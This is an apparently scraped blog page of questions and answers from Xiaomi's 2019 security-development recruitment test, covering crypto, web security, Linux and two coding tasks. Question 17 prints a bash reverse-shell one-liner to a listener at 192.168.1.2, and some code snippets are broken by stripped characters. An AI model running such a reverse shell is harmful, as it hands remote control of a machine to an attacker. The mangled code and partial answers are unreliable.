
小米2019秋招安全开发笔试题(A)
, greater > Q; for(int i=1;i<=n;i++) if(inDegree[i]==0) Q.push(i); int cnt = 1; while(!Q.empty()){ int u = Q.top(); Q.pop(); if(cnt==n) cout< <
发布日期:2021-05-14 08:36:34
浏览次数:19
分类:精选文章
本文共 3633 字,大约阅读时间需要 12 分钟。
1、关于数字签名说法错误的是
- 确定消息确实是由发送方签名并发出来的
- 数字签名能确定消息的完整性
- 私钥用于签名,公钥用于验证
2、CORS的作用是?
- 允许客户端获取服务器的返回数据
3、下面关于AJAX说法正确的是?
- AJAX可以完成数据的跨域
错误的是:
- AJAX可以给不同域发送数据
- AJAX可以获取不同域的数据
- AJAX使用了同步技术
4、MD5是?
- 哈希算法
5、在linux中,将文件属性设置为所有者只读,其余无任何权限的命令为(假设文件名为myfile)
chmod 400 myfile
6、以下哪个方法不能实现对系统网络外连行为的监控
- 查看
/var/log/lastlog
记录
可以尝试的方法:
- 使用hook技术替换c库函数connect
- 使用auitd监控connect系统调用
7、在linux文件系统权限中(rwx),只读权限对应的数值为
- 4
补充:
- 第一个符号代表文件的类型
- 如果是一个普通文件为"-",
- 如果是一个目录为"d",
- 如果是一个软连接为"l"
- 如果是一个字符设备为"c"
- 如果是一个块文件为"b"
- 第一组表示文件所有者拥有的的权限
- "x"表示该文件拥有执行的权限
- "r"表示该文件拥有读取的权限
- "w"表示该文件拥有修改的权限
- “-” 表示暂时还没有其他权限
- 第二组表示该文件所在组的用户拥有的权限
- 第三组表示其他组的用户所拥有的权限
- "rwx"权限还可以使用数字来表示为:r=4,w=2,x=1,所以rwx=4+2+1=7
8、升级包
设备升级过程中使用了 curl https://ota.a.com/update.bin -k -o /tmp/update.bin
命令获取升级包,下列说法正确的是?
- 升级包忽略了证书校验,会造成中间人攻击
9、下面这段代码会造成什么问题?
function upgradeRom() local XQFunction = require("xiaoqiang.common.XQFunction") local XQSysUtil = require("xiaoqiang.util.XQSysUtil") local url = LuciHttp.formvalue("url") url = url:gsub("'", "") if url XQFunction.forkExec(string.format("wget '%s'", url)) else XQFunction.forkExec("/usr/sbin/crontab_rom.sh") endend
- 没有任何漏洞
10、Linux的可执行文件开头的特征字符串是什么
- ELF
11、下说法错误的是
- RSA和DSA的功能一样,只是不同的算法
- Hash是可逆的,Hash一般会导致信息熵减小
12、cookie的基础属性有哪些?
- Domain
- path
- httponly
- secure
- expires
13、下面有那些技术是在https应用到的?
- 对称加密
- 非对称加密
- 密钥交换
- 哈希算法
14、使用下面那种方式可以产生跨域攻击?
- CORS
- windows.name
- windows.postMessage
15、以下哪些方式被认为是DDOS攻击
- ICMP Flood
- SYNFlood
- DNSQuery Flood
- UDPFlood
16、关于SYNFlood攻击,以下说法正确的是
- 此种方式不需要建立完整的TCP三次握手
- 此种攻击方式是客户端主动发起的SYN半连接引起的
17、关于这条命令,说法正确的是
bash -i >& /dev/tcp/192.168.1.2/8080 0>&1
- 通过在192.168.1.2上监听8080,可以远程操作运行了此命令的机器
- 这是一个反弹shell
18、下面哪些命令和工具对 firmware 分析有帮助?
- binwalk
- file
- firmware-mod-kit
19、哪些是常用的逆向分析工具
- gdb
- IDA
- ollydbg
20、以下哪些属于缓冲区溢出保护机制?
- PIE
- NX
- STACK CANARY
21、编程题
我们的小齐同学是一名很辛苦的实习DBA,他每天的工作就是为一个帐号添加授权,今天给这200个ipv4添加授权,明天又要把这200个授权删掉,有一天小齐同学在删除授权的时候不小心把所有的授权都删了,被领导很批了一顿。痛定思痛,小齐同学开始反思他每天的工作,发现无非就是我每天要让那些ip访问数据库而已,他决定写一个效率很高的ip白名单,请帮小齐同学说一下实现思路,并用结构化编程语言(c/c++/python/golang/java等)写一个ip白名单吧,他需要这个白名单有添加ip的功能,删除ip的功能,查找这个ip在不在白名单中,以及打印白名单中的内容,以上四个功能中查找ip是否在白名单中效率一定要高。并帮小齐分析一下各个功能的时间复杂度,写的好小齐同学会请你吃饭哦
import java.util.HashSet;import java.util.Scanner; public class Main { public static void main(String[] args) { Scanner scanner = new Scanner(System.in); HashSetset = new HashSet<>(); while (!scanner.hasNext("end")) { String command = scanner.next(); char c = command.charAt(0); String ip = command.substring(2); switch (c) { case 'i': set.add(ip); System.out.println("ok"); break; case 'd': set.remove(ip); System.out.println("ok"); break; case 's': System.out.println(set.contains(ip)); break; } } }}
有N个比赛队(1<=N<=500),编号依次为1,2,3,。。。。,N进行比赛,比赛结束后,裁判委员会要将所有参赛队伍从前往后依次排名,但现在裁判委员会不能直接获得每个队的比赛成绩,只知道每场比赛的结果,即P1赢P2,用P1,P2表示,排名时P1在P2之前。现在请你编程序确定排名。
#includeusing namespace std;int main(){ int n,m; while(cin>>n>>m){ vector Edge[n+1]; int inDegree[n+1]; memset(inDegree,0,sizeof(inDegree)); for(int i=0;i >a>>b; Edge[a].push_back(b); inDegree[b]++; } priority_queue
发表评论
最新留言
表示我来过!
[***.240.166.169]2025年04月26日 20时34分47秒
关于作者

喝酒易醉,品茶养心,人生如梦,品茶悟道,何以解忧?唯有杜康!
-- 愿君每日到此一游!
推荐文章
微信JS-SDK DEMO页面和示例代码
2021-05-14
XYNUOJ
2021-05-14
Chrome查找发请求的js之黑箱调试
2021-05-14
CMCC登录参数分析
2021-05-14
GridView的另外一种分页方式,可提高加载速度
2021-05-14
GridView自定义删除操作
2021-05-14
http常见响应状态码
2021-05-14
Nginx Location
2021-05-14
解决github Git clone 慢的问题
2021-05-14
一张图搞定RPC框架核心原理
2021-05-14
Scala中的包
2021-05-14
参加阿里的Java面试经验
2021-05-14
Python微信公众号
2021-05-14
他来了他来了,他带着云栖大会的免费门票走来了
2021-05-14
Oracle笔记
2021-05-14
如何复用外部shell脚本
2021-05-14
JAVA集合类Collection浅析
2021-05-14
获取linux 主机cpu类型
2021-05-14
限流的算法有哪些?
2021-05-14